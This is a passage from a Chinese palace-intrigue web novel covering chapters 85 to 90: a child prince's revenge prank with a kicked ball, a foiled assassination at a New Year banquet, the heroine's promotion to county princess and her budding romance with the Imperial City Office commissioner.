“没什么,不过是急皇姐之所急。这也是做弟弟的应该做的。”辰王笑得更加温润。
“就这样?”赵明月可不是傻子。
“大皇姐,臣弟知道你与秦苍霆情投意合,不过苦于父皇棒打鸳鸯,不能在一起。如果臣弟说,臣弟能让你们正大光明在一起,你可愿与臣弟一条心?”辰王走近一步,声音压得极低。
“你真能做到?”赵明月听得心神一震。
“大皇姐,臣弟现在只是辰王,自是不能,但......”后面的话辰王没有说。
但赵明月一听就懂了。
只要他登基为帝,他就有绝对的权利。
让她和离,再指婚给秦苍霆。
然,一条心,不言而喻,意思就是要她助他。
而她只是一个公主,手里没有实际的权利,只有无上尊荣。她所嫁的王家也不会帮她,那就只剩秦苍霆。
“辰弟,你这算盘打得真精啊。”赵明月不得不佩服辰王的好算计。
拿住了她的命脉。
“大皇姐,你我是姐弟,元后也是臣弟的母后。臣弟只想大皇姐能过得好。
臣弟想帮大皇姐,但臣弟现在还没那个能力,还需要大皇姐与臣弟一起努力,才能实现你我各自想要的生活。”
辰王说得感人肺腑。
赵明月看着把话说得十分漂亮的辰王。
各取所需,相互成就。
可惜,他的要求太高。
一个不好,别说和苍霆在一起,就连命可能都得搭上。
然,皇弟们一个个都成年,个个都有心思,不是这个就是那个。
她迟早会被哪个皇弟给盯上。
这不已经给盯上了吗?
“辰弟,让我想想。”赵明月知道她已经躲不过,她需要认真考虑。
还有苍霆,她需得与他好好商量一番。
“臣弟等你。”辰王有礼地向赵明月一躬身,离去。
带着势在必得的自信。
他相信,大皇姐会做出正确的选择。
赵明月身子一垮,还要强压下心里的烦躁。
不能让人看出异样。
霍凝玉陪着赵凌哲,来到琼玉湖边,果然见几位王爷家的公子和他们的伴读聚在一起玩蹴鞠。
这是男孩子最喜欢玩的,其他游戏太温吞,不够刺激。
赵凌哲一来,就要求加入。
“三堂弟,你要玩可以,但出了事可不能赖我们。”辰王世子赵凌霄被他父王警告过。
以后最好离这小子远点。
“大堂兄,放心,我不会像上次那么傻。霍姐姐,你负责帮
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我们捡球。”赵凌哲冲霍凝玉挤了挤眼睛。
霍凝玉被气得想给他来个脑瓜崩。
感情让她来给他们做球童。
旁边不是有伺候的宫人吗?
“为什么是我?”霍凝玉不服气。
“霍姐姐,你身体太差了,我知道你不会玩蹴鞠,那就给我们捡球,把腿脚练利索了,以后我教你蹴鞠。”赵凌哲说得理所当然。
一副我是为你好的模样。
“我......”
她哪里身体差了?她哪里不会玩蹴鞠了?
她会得很。
“霍姐姐,快点,球来了。”赵凌哲不给她思考的时间,故意把球踢向她。
霍凝玉认命地把球抱住。
再一脚踢向场中间。
哎,有点丢人,当真没踢多远。
看来她的腿脚确实没多少力。
好吧,任劳任怨。
接下来,霍凝玉就在球场外,四处跑。
忽东忽西。
累得气喘如牛。
可是赵凌哲就是不放过她,一会儿叫她一声,让她去追球。
有了她这个免费劳动力捡球,一群孩子玩得不亦乐乎。
而就在这时,江宁与一个同样年轻的小妇人一起漫步到了蹴鞠场不远处,两人正在湖边散步。
霍凝玉认出了江宁,而江宁也看到了霍凝玉,但都当没看到对方。
江宁继续与旁边的同伴闲聊着。
嫁入忠义伯府,成了大少夫人,果然身份提高,都有资格进宫赴宴了。
还能交到愿意与她作伴的女子。
赵凌哲也同样看到了江宁。
以前他并不认识江宁,但霍姐姐是他喜欢的人,特意找了个机会在大街上偶遇江宁,把此人记住了。
他想替霍姐姐报仇。
赵凌哲灵机一动,故意把球传给赵凌霄。
角度选得很刁钻,他这几个月跟着武学师傅不是白练的。
赵凌霄看到球飞来,愣了一瞬。
两人并不是一队的,三堂弟怎么把球踢给他?
眼看就要到眼前,他毫不犹豫,用尽全力,踢出一脚。
可是球的方向却并没有按他想象的方向前进,而是向湖边而去。
速度很快,好巧不巧正好砸中江宁。
“啊!”江宁被突如其来的球给吓得发出一声尖叫,身子一歪。
“噗通!”
掉进了冰冷的湖里。
第85章 人小鬼大的皇孙
正好她走到的那个位置没有栏杆,只有一小截高出地面的堤。
霍凝玉傻眼。
慢慢转过头看了一眼赵凌哲。
小家伙眼神古怪地冲她眨了眨,却又透着无辜。
“大堂兄,你闯祸了。”赵凌哲带着同情冲同样也傻眼的赵凌霄说道。
“快来人啊,有人落水了?”与江宁走在一起的女子终于从惊吓中回过神,大叫起来。
“还不快去救人?”赵凌霄被惊醒,冲伺候在一旁的几个宫**叫。
几个宫人合力把江宁从水里拉上来。
可是一身全湿了。
南楚的冬天虽没有北魏冷,但京城靠北,冬日的早晨,一些水洼也有结冰的时候。
一上岸,被风一吹,冷得直打哆嗦。
与她一起的同伴带着她匆匆离去,行出不远,就看到谢正阳迎上她。
霍凝玉和赵凌哲并没有过去,只远远看着。
赵凌霄知道自己闯了祸,球也不踢了,带着辰王府二公子匆匆离去。
离去前还狠狠地瞪了赵凌哲一眼。
“你是不是故意的?”
“大堂哥,我怎么可能是故意的?我不过是看错了,以为你身后是我们这队的人。谁知道是你。
可你明明看到那边有人,为何会把球往那边踢,你才是故意的。”赵凌哲一脸无辜。
赵凌霄一走,其他孩子一哄而散。
只留下赵凌哲和霍凝玉站在一棵树下看向湖面。
赵凌哲想起了四个多月前,落入水中的感觉。
惊慌,无助。
几口水呛进鼻腔时,面对死亡的恐惧。
是身边的姐姐救了他。
这个恩他一直记着。
他知道自己是被算计的。
如果不是霍姐姐另辟蹊径来救他,说不定他就死在了那一场阴谋里。
母妃说,他现在还小,只要好好长大,长大了就可以做自己想做的事。
就可以报仇。
现在他们东宫太弱,还不是时候。
“小殿下,现在没人,你老实告诉我,你是不是故意的?”霍凝玉轻声问道。
赵凌哲仰起头,笑得无害:“霍姐姐,我替你报仇,我是不是做得很好?”
“你......”霍凝玉看着笑得灿烂的小脸,不知说什么好。
这小子什么时候这么有心机了?才六岁多几个月而已。
“你就不怕引火上身?这可是在宫里。你就不怕你皇祖父罚你?”霍凝玉说着训斥的话,可心里却欢愉雀跃。
“霍姐姐,你哪只眼睛看到是我做的?明明是大堂哥不小心把球踢向谢少夫人的。”
赵凌哲很无辜,一双眼睛眨巴着,带了两分委屈。
“哈哈,干得漂亮。”霍凝玉再也绷不住,笑出声。
“哈哈!”
一大一小趁周围无人,笑得肆意张扬。
“很高兴?”一道低沉的声音在两人身后响起。
一大一小同时转身。
“赵大人,你怎么在这儿?”两人同声问。
赵炳煜正站在两人身后。一身绛红色大氅披在身上,增添了过年的喜庆。
霍凝玉又一次看到他不一样的着装。
眼前一亮。
平时他都穿皇城司特有的官服。
“本官作为皇城司使,自是要随时留意宫中安全。
正好走到此处,看到你们俩笑得跟傻子似的,什么事这么高兴?”赵炳煜说这话时,语气中带着轻快。
其实他早就留意着霍凝玉的动向。
她一出了皇后宫里,他就一路找来,看她玩得开心,他就没显身,躲在一棵树后。
没想到赵凌哲这小子,心眼这么多。
不过,他喜欢。
能替霍凝玉出口气也不错。
小孩子做事可当成玩闹,无伤大雅。
“没什么。”两人又同气连声。
赵凌哲干了坏事得逞,一时收不住笑。
此地无银三百两。
“皇孙殿下,去一边,我与霍乡君说几句话。”赵炳煜指了指不远处的一棵树,示意他去那边等着。
赵凌哲不想走。
“去吧,一会儿我们再一起去找你母妃。”霍凝玉开口他才走开。
她被赵凌哲之前说的话打开了心结,坦然与赵炳煜对视。
“凝玉,那晚我可能唐突了些。可我是真心的。希望没有吓到你。”赵炳煜一开口就是道歉,且小心翼翼。
这几日他一直在想,他要如何做才能赢得她的心。
他知道她受过伤,一时可能难以接受。
想来想去,只有持之以恒,总能打动她。
“赵大哥,我并没有生气。只是太突然,一时不知如何是好。”霍凝玉很大方说出自己的感受。
“那你......是怎么
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想的?”赵炳煜很想知道。
“赵大哥,我是有意亲近你的,其实有利用你之嫌,但我并没有恶意。
我因之前退婚的事,曾对婚姻失望,不想再嫁。
但今日三皇孙的一句话让我幡然醒悟。
他说,一朝被蛇咬就要十年怕井绳吗?
他毅然又一次来这里蹴鞠,就是对自己内心恐惧的挑战。
我才知道自己原来一直在逃避。
我居然还不如一个孩子。
所以我刚刚想通,婚姻并不可怕,就看遇到什么人。
你看我父母,一辈子走到今日,从没红过脸。
这就是遇到了对的人。而我如果遇到了对的人,会嫁。”霍凝玉大胆说出自己的想法。
赵炳煜听后,眼神灼**看着眼前的姑娘。
“我懂了。”赵炳煜欢愉的声音里透着明了。
她在给他机会,只是她现在对他还没倾心到非卿不嫁的地步,但她并不排斥他。
赵炳煜握住霍凝玉的手。
有些冰凉,但她没有抽回。
他心里更有底了。
“走,去看看辰王是怎么处罚辰王世子的。”他不急,一步步来。
细水长流,水到渠成,才是最完美的。
站在远处的赵凌哲看到赵炳煜牵了霍凝玉的手,嘴巴张大。
人小鬼大地跑过来,故意扯开两人,他要牵着霍姐姐的手。
结果变成赵凌哲一手牵一个,去了临水宫。
此时辰王和大公主也在。
辰王得知事情经过,只淡淡扫了大儿子一眼,并没有责备。
“皇伯父,都是哲儿不好,是哲儿把球踢给大堂哥,才导致他不小心把球踢偏,害得谢少夫人落水。都是哲儿的错。你不要责罚大堂哥,他也是无意的。”
赵凌哲几步跑到辰王面前,态度端正,认错积极。
“哎哟,哲儿真是个懂事的好孩子。”大公主笑着夸赞。
“上次中秋宴,你就意外落水,今日又因你们蹴鞠把谢少夫人吓得落水。以后不许在宫中蹴鞠。”辰王严厉道。
估计父皇也会把蹴鞠场给禁了。
“可是平时我们都没有这样的机会聚到一起玩,只有宫宴时,大家才能聚得这么齐。蹴鞠是最好的运动。”赵凌哲越说声音越小,越委屈。
辰王眼睛微眯。
这小子居然敢反驳他。
第86章 当面就行拉拢之事
这小子和几个月前,好像不太一样了,胆子越发大了。
要换作以前,哪里敢与他这个做大伯的顶嘴。
就在这时,江宁沐浴更衣出来。
脸色苍白,身姿柔弱。
谢正阳立刻把人扶住。
江宁看到辰王和大公主都在,眼泪瞬间泛出眼眶。
“见过义母,见过辰王殿下。”
“你胆子也太小了,被个球吓一下就能跌进湖里。”赵明月责备道。
嫌她没用。
“义母教训的是。以后女儿自会改。”江宁咬了咬唇,忍住委屈。
“大皇姐,你也不用训斥她,这事都是凌霄的错。凌霄,给谢少夫人道个歉。”辰王在大公主面前表现得谦和有礼。
对一个伯府少夫人都礼遇有加。
这是对大公主的尊重,把事做得特别漂亮。
果然,赵明月听了辰王的话,脸色缓和不少。
“你身子怎么样?”赵明月收下辰王的示好,关心问道。
赵明月的话刚落,江宁就连打两个喷嚏,好在是背过身去,没有失了礼数。
“还不快道歉。”辰王见大儿子站着不动,冷声喝道。
赵凌霄踟蹰着不想上前。
他可是辰王府世子,给一个伯府的少夫人道歉,而且还不是世子夫人,她哪来的脸?
父王这不是当众下他的脸面吗?
他都十二岁了,以后还怎么见人?
“还不快点。”辰王又一喝。
“辰王殿下,不必如此,世子不是有意的,这就是个意外。”谢正阳这才主动开口。
他心爱的女人受了委屈,他想为她讨回颜面。
所以才没有一开始就阻止,可江宁在后面扯了他几次,他不得不出声。
辰王淡淡扫了他一眼,没有理会,仍然看着赵凌霄。
赵凌霄被辰王阴鸷的眼神看得不敢造次,只得上前,正要鞠躬道歉。
忠义伯夫妻赶到。
“辰王殿下,这可使不得啊。不过是个意外,无须如此较真。”忠义伯谢勋得了消息,几乎是小跑而来。
“伯爷客气,做错了事,就应该道歉。”辰王还是要让自己的儿子道歉。
霍凝玉看着辰王如此执着,把一个礼贤下士的形象塑造得完美无缺。
真会做人。
今日这一出,让他卖好大公主和谢勋,一举两得。
赵凌哲为她出气,好像适得其反,成就了他们。
心里叹了一口气,不能怪小家伙,他是好心。
谁也没料到辰王这么会利用机会。
赵凌霄不得不向江宁郑重道歉。
“谢少夫人,今日是本世子不对,害你落水。”
“世子,这事真与你无关,让你受委屈了,都怪妾身胆子小。咳咳......”江宁在谢正阳的搀扶下还了一礼。
却咳嗽两声。
霍凝玉严重怀疑她是装的。
落水后,那么快就捞起来,哪有那么容易就得了风寒,还引起了咳嗽。
真会装柔弱,博取同情,让人没法说她得理不饶人。
难怪前世勾的谢正阳为了她毒杀自己的事都做得出来。
难怪自己输得那么惨。
重生也改变不了一些事的走向。
霍凝玉看了看身边的赵炳煜。
她遇到了他,事情的走向或许没变,但结果未必,她有信心。
一场连闹剧都算不上的小风波就此结束。
赵炳煜见事情这么轻松解决。
辰王没端架子,谢正阳和江宁也没死抓住不放。
大公主还责备江宁的不是。
他从中也看出些端倪,在大公主和谢勋身上扫了一眼,带着霍凝玉和赵凌哲离开。
“赵大哥,辰王这是当着你的面就行拉拢之事。这也太明目张胆了吧?”霍凝玉藏不住话,直接小声说出来。
“圣上年纪大了,这是避免不了的。之前辰王失了好几个助力,估计他也急了。要是他再不努力,霁王就要压他一头了。”
赵炳煜也阻止不了这种事,圣上也心知肚明。
而且刚才不过是让世子道个歉,不算拉拢,只能算卖个好。
“原来如此。”霍凝玉心里好受些,说明她之前做的那些事对辰王影响不小。
三人一起进崇华殿。
此次宴会,皇后让太子妃做帮手,好些事都让太子妃来做。
这是给她做脸。
而袁贵妃和于贤妃想帮忙,皇后却没给机会。
一个是辰王生母,一个是霁王生母。
她为了儿子,想尽办法把皇后之位坐稳,希望能为儿子多挣得些庇护。
从不让其他妃嫔染指后宫管理之责。
“母妃。”赵凌哲看到太子妃,小跑过去。
一下扑进太子妃怀里。<
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br>“你不是在你皇祖母宫里吗?怎么到这儿来了?”太子妃安排宫宴,正在做最后的检查。
“母妃,是霍姐姐带我来的。”
霍凝玉想望天,这小子在他母妃面前怎么没有先前的人小鬼大的模样,表现得真是乖巧。
赵凌哲吧啦吧啦就把刚才在湖边发生的事讲了一遍给太子妃听。
当然没说他使坏的事。
太子妃听了,没什么感觉。
看来她真的没再像以前一样,处处拘着孩子。
霍凝玉走过来蹲身一礼。
“见过太子妃娘娘。”。
“免礼,最近哲儿老往霍家跑,给你们家添麻烦了。”太子妃很客气。
“娘娘有没有感觉小殿下比以前活泼多了?身体也结实不少?”霍凝玉笑道。
“那是,以前本宫是太在意了,把他管得太紧,生怕他有个万一,都六岁了还没学凫水。
等夏日,一定让他学会凫水。
他最近跟着武学师傅也练得很认真。
不知不觉,孩子就比以前懂事多了。”太子妃摸了摸儿子的头,一脸欣慰。
“孩子就是要放养,才长得更好。”霍凝玉没养过孩子,但看到过太多如野草般长大的乡野孩子,得出这个结论。
“皇上皇后驾到,太子驾到......”
这时传来总管太监林德全的高唱。
众人落座。
霍凝玉回到父母身边坐下,看到赵炳煜不知什么时候以护卫者的身份跟在皇帝身后。
乾德帝说了新年祝福之后,宣布正式开宴。
先是宫里的伶人表演喜庆的节目,然后才是各家公子小姐想上场的,就报名,太子妃再安排按顺序上场。
霍凝玉不喜出这种风头,并没有报名。
随着一道道宫廷御菜端上桌,各种香味飘荡在空气中。
霍凝玉很认真享受美食,眼睛也时不时看一眼殿中央的表演。
霍家作为二品尚书,座位离皇帝比较近。只隔着几位一品大员和几位亲王。
而霍鹏程又是天子近臣,更是安排得靠前。
霍凝玉端起一杯果酒,想一饮而尽时,她好像看到领舞的伶人有点不对劲。
女人胸前的两块,不是应该在一条水平线吗?
怎么那领舞的前胸感觉有点一高一低呢?
这种人也能进皇宫做伶人?
第88章 得封昭勇县主
霍凝玉喝下药,并没有立刻醒,而是过了约三刻钟才醒。
一醒来就感觉到锁骨下传来疼痛。
“嗯!”低吟一声。
“妹妹。”
“大姐。”
“凝玉。”
霍凝玉慢慢睁开眼,就看到一双双担忧的眼睛正一眨不眨地看着她。
“可算醒了。”容华芝激动得眼里又充满湿意。
“爹,娘,我没死?”霍凝玉面带痛苦之色,却又欣喜。
她刚才好像灵魂出窍了,可是天还没黑,她出不了这个殿,只能看着大家为她担心。
“说的什么鬼话。呸呸.....”容华芝没好气地连连呸。
好似要把女儿的话给抹去。
“凝玉,你胆子也太大了,竟然敢以身去挡刺客,你就不怕有个万一,你让娘可怎么活?”容华芝见女儿醒了,提了这么久的心,终于放下,又开始责备起女儿来。
“当时情况紧急,我来不及多想,就跑上去了。”霍凝玉现在回想起来,也一阵后怕。
她当时看出那刺客有点不对劲,但并没有第一时间想到是怎么不对劲。
等她刚想到那种可能,就看到刺客正从胸前掏东西,想也不想就大叫一声冲了上去。
而就是她的那一声大叫,引起了赵炳煜和所有禁卫的注意。
赵炳煜快速做出反应,护住了圣上。
“哎!”容华芝只能长叹一声。
她是替皇上挡暗器,那是君,本就应该。
在这偏殿里,她什么也不能说。
她忍不住心疼孩子,眼泪再次流出眼眶。
“孩子没事,这就是万幸。有什么话,我们回家再说。”霍鹏程拍了拍老妻的肩膀。
霍凝玉一醒,只是伤口还有些疼,已经上了药,其他感觉不明显。
“父亲,宫宴结束了吗?”霍凝玉不知道自己昏睡了多久。
“还没有,可是还想吃?”霍鹏程想到一家人都还没吃多少。估计孩子是不是还想吃。
“我真没吃饱。”霍凝玉为了让家人放心,甜甜一笑,以还想吃来转移大家的担心。
“那就再去吃,我儿受了这天大的苦,就得多吃点补回来。”
霍鸣羡把人从榻上扶起。
“凝玉,能走吗?”万青黛扶住她另一只胳膊。
“没事,我腿又没受伤。”
一行走进大殿。
乾德帝和皇后看到他们进来,才放下心。
“霍乡君,身子可还好?”皇后关心问道。
“回皇后娘娘,已无大碍。就是还想再吃点。”霍凝玉笑着回道。
“来人,把霍家的菜全都撤了,重新布上一桌热的。”乾德帝大手一挥。
宫人们立刻行动。
“霍乡君,你今日又立了大功,之前救了朕的孙子,今日又救了朕,其心可表。”乾德帝大加赞赏。
“这是臣女应该做的,臣女正好发现了。”霍凝玉谦虚一礼。
“霍氏凝玉,上前听旨。”乾德帝忽然朗声。
霍凝玉一愣,瞬间回神,走到殿中间跪下。
“今宫宴之上,奸佞之徒,怀不轨之心,行逆天之举,暗藏利刃,图谋弑君。
户部尚书之女霍氏凝玉,性情纯良,心怀忠义。
值此千钧一发,刺客骤发暗器,电光石火间,尔不顾己身安危,挺身而出,以身躯为盾,代朕承险,此等忠勇,堪称巾帼之典范!
尔之壮举,救朕于危难,更显赤子之心,忠君爱国,天地可鉴,朕心甚慰。
今特下旨,册封霍氏凝玉为‘昭勇县主’,赐邑两千亩,金印紫绶,以彰其功,以慰其心。并赐锦缎百匹,金银器物若干,以彰其德,以励后人。”
乾德帝当场口谕宣旨。
大殿之上,落针可闻。
短短时间,就从乡君变成了县主。
这是何等的荣光。
一个外姓女子,就是大公主的女儿都没有食邑,只有个县主的称号。
“霍氏凝玉,谢皇上恩典。”霍凝玉深深拜下谢恩。
霍家人心里虽喜,但想到那是女儿用命博来的,那点喜很快消失。
宫宴结束之前,众臣等待的赵炳煜与于玄铮终于进殿。
“臣赵壑不辱命,已基本查清此次刺杀事件缘由。”赵炳煜一拱手。
“一一道来。”
“是。”赵炳煜站直身子,扫了众人一眼。
“之前领舞的刺客杀了原本上台的伶人,易容成那伶人的模样,混在伶人中,伺机刺杀皇上,好在霍家小姐机敏,及时发现端倪,发出警报。才让皇上幸免于难。
那**的
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伶人在伶人馆的枯井里找到,已死去十日左右。说明那刺客已混进宫十日有余。”
“可查出刺客身份?”乾德帝问。
“臣不认识,但辰王殿下应认识。”赵炳煜幽深的眼神定在辰王身上。
“赵壑,你什么意思?难道你是想说是本王安排刺客刺杀父皇吗?”辰王被这话给惊得大声反驳。
他今日才刚刚解禁。
而他确实没做过。
“臣并无此意,而那刺客正是黎圆的花旦,冯飞彦。
辰王最喜去黎圆看他上台,还曾请他入府专为你唱过几出戏,想来辰王与他甚是熟悉。
不知辰王对他了解多少?”赵炳煜说出的话不带任何个人情绪。
但谁都看得出赵炳煜在针对辰王。
霍凝玉看到辰王被噎住的表情,心里也在想。
这事会是辰王做的吗?
前世这个年,她没进宫,也没听说皇上遇到刺杀。
难道又是她的重生导致很多事情都变了?
“父皇,儿臣不过是喜欢听曲儿,与那冯飞彦并无过多接触。还请父皇明察。”辰王也跪到乾德帝面前。
“可还查到其他?”乾德帝只是扫了辰王一眼,又问赵炳煜。
“回皇上,时间太短,只来得及把黎园的人都抓了,让班主认出刺客,还没审。但刺客是如何混进宫的,却是禁卫失职。”赵炳煜如实说道。
“是微臣失职,请皇上责罚。”于玄铮单膝跪地。
他正是于贤妃的亲弟弟,霁王的舅舅,镇北侯。
作为禁卫统领,却让刺客混进宫刺杀皇上。
这是严重失职。
“于玄铮暂停禁卫统领一职,赵壑暂代,查清此事后,朕再行定夺。”
乾德帝当场就免了他的职。
霁王和贤妃身子一晃。
这是他们最大的倚仗,就这么没了。
辰王却淡淡勾起了嘴角。
老二也折了羽翼,而且还是镇北侯失了职位。
这下两人又一次旗鼓相当了。
“臣领旨。”赵壑一拱手,“皇上,时候不早,可以让众臣先出宫。”
乾德帝挥了挥手。
宫宴散去。
但出宫需经过严格盘查。
霍凝玉想跟着家人一起出宫,却被赵炳煜叫住。
第89章 铁树开花了
“凝玉,身子可还好?”赵炳煜关心问道。
他忙着查案,直到现在才稍抽出点时间来。
“赵大哥放心,伤口很小,听说你帮我吸的毒,凝玉感激不尽。”赵凝玉向他施了一礼。
容华芝告诉她这个消息时,她的心里是甜丝丝的。
这个男人对她真的用了情。
在那种时候,不顾自己也有**的危险,毫不犹豫就为她**。
此举让她十分感动。
“你我之间不言谢。”赵炳煜握住她的手,有些凉。
大手把整个小手都包裹起来,给她暖暖。
“今日皇上**的事,你可有梦到过?”赵炳煜说起正事。
当时是她最先发现不对劲,发出预警。
他武功就算再高强,要想在毫无准备的情况下,把所有暗器都打落,并不容易。
而有了她的一声喊,至少提前了半息时间,让他提早抽出腰间配剑,才护卫住了皇上。
皇上无事,他的心放下一半,可想到受伤**的人是自己想娶的姑娘,他又怒火中烧。
“没有。但我有猜测。”霍凝玉一直在想,问题出在哪。
“哦?说说看?”赵炳煜忙着抓人,直到现在还没空出脑子来思考。
他一直在往几个皇子身上想。
所以才会针对辰王说了那么一句。
“几年前皇上就遇到过刺杀,太子殿下为皇上挡一箭,你说有没有可能那些人又来了,还混进了宫?我听说那年并没有真正抓到刺客。”霍凝玉联想得有些久远。
那时她还小,只有十二岁,但父亲回来说起此事时,她正好在旁,听得清楚。
“真是个聪明的姑娘。”赵炳煜又握了两下她的手,“有件事我没告诉你,因为事关重大,影响不好,皇上并没有让我公诸于世。”
“什么事?”霍凝玉疑惑。
“林缘寺的那帮淫僧就是当年刺杀皇上的刺客,是西凉安插在我南楚的细作。你为此立了大功,皇上才封了你为乡君。”
“原来如此,我说呢,只是与你一起破了此案就得了个乡君,皇上真大方。那更说明我的猜测很有可能,你可以试着往这个方向审。”霍凝玉现在才明白。
“嗯,我送你回府。”赵炳煜也豁然明朗。
他是感激霍凝玉的,要是皇上有个万一,整个朝堂将会乱作一团。
几位皇子将为了那个位置争得头破血流,最终会导致整个京城血流成河。
朝堂震荡,别国就会来犯。百姓就会民不聊生。
想到那个场景,赵炳煜不禁打了一个寒战。
“不用了,你还有好多事要忙。”霍凝玉哪里敢在这个时候耽误他的时间。
“放心,该抓的人都已抓了起来。禁军副统领是个人才,很多事他都知道怎么做。”赵炳煜不容她拒绝,牵起她往宫门方向走。
两人之间流淌着暖暖的温情。
当皇上知道赵炳煜亲自送霍凝玉回府,难得地笑骂:“这小子,终于铁树开花了。”
霍凝玉刚一进府就看到钟离洛站在廊下。
一看到她回来,几步上前。
“霍小姐,身子可还好?”刚才霍鸣昶把宫里的事说给他听。
把他惊得再也坐不住。
他想第一时间看到霍凝玉是不是好好的。
这是他的救命恩人,他还没报恩呢,怎么可以有事。
所以他一直在外院正对着大门的廊下等着。
“没事,救得及时,只是轻微**。你身子还没好全,怎么站在这里吹冷风?”霍凝玉看到他脸色还有些苍白。
“我已经恢复得差不多,不用担心。”钟离洛露出一丝羞涩。
但没引起霍凝玉的注意。
霍家人并没把他当外人。
“走吧,去主院,我们一起过年,守岁,一会儿二弟肯定会拉你一起放烟花。”
这个年,各家都过得战战兢兢。
皇帝**,绝对是大事。
但霍家不在此列。
整个京城估计也就霍家肆无忌惮放烟花。
赵炳煜只用了一天就把事情查了个水落石出。
大年初一他都没好好休息。
刺客冯飞彦是黎圆班的头牌花旦,同时也是西凉国安插在南楚京城的细作。
普陀庵案被抓的佛子竟然是西凉某王爷的庶子,特意安排到南楚做细作统领。
却被南楚皇抓了,并斩首。
西凉那位王爷,虽对这庶子没多少感情,但却因南楚杀了他儿子而大发雷霆。
就命其他细作定要给南楚皇一个难忘的教训。
宫里伶人不够,要从辰王府和霁王府调用的消息是辰王不经意透露给细作
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的。
冯飞彦与霁王府的一个伶人是相好,利用相好把他藏在马车底部一个暗格里带进了宫。
后又把领舞的杀了抛入枯井,假扮成女子,再伺机而动。
一场刺杀,把两个王府都拉了进来。
真是好算计。
最终乾德帝把两个儿子都打了十板子,以儆效尤。
皇后和太子妃也有失察之罪,被皇上训斥了一顿。
三皇孙在皇帝面前讨巧卖乖了一回,才让乾德帝展颜。
“你小子,这才几个月,变化还真不小。霍先生是怎么教导你的?”乾德帝来了兴趣。
“皇祖父,霍先生可严厉了,孙儿要是没能按他的要求做好,他会打孙儿。”赵凌哲撅了撅嘴。
“哦?朕的孙儿他都敢打?真是反了天了。林德全,去,把霍尚书给朕叫来,朕倒要问问,谁给他的胆子。”乾德帝故意生气。
“皇祖父,别别别,霍先生是为孙儿好。
他说孙儿作为皇家子嗣,就要担起皇家子嗣的责任,不可有一日懈怠,不然天下百姓都会对孙儿不满。
孙儿做得不好,本就应该挨罚。没有规矩,不成方圆。
您不知道,这几个月来,孙儿学到的东西比以前加起来都多。
宗学里的先生只知道释义,从不举一反三。
霍先生每给孙儿讲一个经义都要列举很多故事加以佐证,可有意思了。”赵凌哲见皇祖父生气,立刻又为先生说好话。
乾德帝暗自点头。
孩子被教导得很好。
霍尚书不愧是状元之才。
而且不因哲儿是他的嫡孙就缩手缩脚,不敢教导。
不错。
这时,赵炳煜走进来。
“今日才初二,你进宫来做什么?”乾德帝难得放松一下自己,含饴弄孙。
这小子这么没眼色,来打扰他。
“臣,一个人,寂寞。”赵炳煜答得随意。
但听在乾德帝耳里却不是滋味。
这小子从不在靖王府过年。
没成年之前,就在宫里与他一起过。
自戴上面具,五年来,总是一个人,形单影只。
“你就不能早些娶个媳妇?就不寂寞了。”乾德帝没好气地道。
“皇上说的是,只是臣以什么身份娶妻呢?”赵炳煜也为这个问题困扰。
第90章 表妹被禁足
乾德帝一愣。
是啊,这小子以什么身份娶妻好呢?
“你想以什么身份娶妻?”乾德帝又把球踢回去。
“臣可否就用赵壑的身份?”赵炳煜犹疑。
乾德帝让林德全把赵凌哲先带出去。
有些话不能让孙子听。
“哎,你是朕亲弟弟的儿子,是我赵氏的嫡支血脉。可这个身份你却弃如敝履。
炳煜啊,你现在只是五品的官职,如果没有靖王世子这层身份,你就只是末等的官职,你要如何给你妻儿荣耀?”
乾德帝深感无奈。
他管着整个南楚文武百官,几千万百姓,一言九鼎,却管不了同胞弟弟喜欢哪个女人。
“臣不需要荣耀。”赵炳煜平静无波。
“算了,随你吧。是不是打算向霍家提亲?要不要朕给你赐婚?”乾德帝终于等到这小子铁树开花,心里很欣慰。
“暂时还不用,她......”赵炳煜顿了顿,“还没对臣生出爱慕之心。”
“真是没用,这都几个月过去了,你竟还原地踏步。”乾德帝恨铁不成钢。
“皇上......”赵炳煜惊讶。
皇伯父这话什么意思?
乾德帝怒目瞪了他一眼。
“你在朕身边长大,你的一举一动,能瞒得过朕?要不是知道你小子有那意思,朕会做主为她退亲?”乾德帝没好气地道。
赵炳煜无话可说。
或许缘分就是从那一日开始的。
旁观者清,当局者迷。
皇伯父的话却让他感动不已。
本该关心他的是自己的父王,而最了解他的却是有六个儿子的皇伯父。
“臣会尽快让她对臣心悦,再来请旨赐婚。”赵炳煜一揖后转身就走。
“皇祖父,赵大人他怎么了?”赵凌哲在门外看出赵炳煜走得慌乱。
“不用管他。”乾德帝摸了摸孙子的头。
他对侄儿的疼爱比对自己的几个儿子还多。
——
霍凝玉一大早就起身梳妆。
今日是初二,出嫁女回娘家的日子。
母亲昨晚就交代好,今日要早些出发。
霍家的两个姑姑都跟着夫君出外任。
没有出嫁女回霍家。
霍鹏程领着一家老小去容府。
母女俩坐马车,父子三人想骑马。
“钟离公子,你这是什么意思?”霍鹏程看到坐在车轼上的人居然是客居的钟离洛。
“霍大人,今日在下是车夫。”钟离洛不想一个人在霍府。
在这过年的热闹中,他却只能一个人,身边没有亲人,没有朋友。
他想与霍家人靠得更近些,不想被留下。
所以他抢了车夫的活。
他本也不是什么高贵之人,不过是钟离家一个不为人知的庶子罢了。
“这怎么使得?”霍鹏程哪里好意思让未来的武状元在他家当车夫。
“霍大人,反正在下也闲着没事,身子也好得差不多了。”钟离洛用乞求的眼睛望向他。
“父亲,既然钟离公子想出来透透气,那就如了他的意吧。”霍凝玉笑着劝道。
自救起他,到现在一次门都没出过。
“好吧。”女儿都如此说了,那就委屈人家了。
“霍夫人请上车,昭勇县主请上车。”钟离洛伸出一只有力的胳膊在旁边,方便母女俩扶着上车。
容华芝见他认真的样子,不忍拂了他的好意,当真扶着他的胳膊上了车。
容府离霍府有一定距离,大约行了两刻多钟才到。
“二姑父,两位表弟。祖父祖母就盼着你们回来呢。”容家长孙容廉晟早已等在大门外。
“大表哥。”霍凝玉从马车里出来,冲容廉晟甜甜一笑。
“容廉晟见过昭勇县主。”容廉晟故意严肃而认真地向霍凝玉一揖。
“大表哥,你少装模作样。我还是我,以后不可如此。”
“行了,晟儿不过是给你开个玩笑,你还当真了。”容华芝也从马车里出来。
“见过二姑姑。”容廉晟立即上前把人扶下马车。
一行进了正房。
一家五口恭恭敬敬向主位的两位老人行了跪拜大礼。
“女婿带一家回门给岳父岳母拜年,祝二老康健安泰。”
“给外祖父外祖母拜年。”
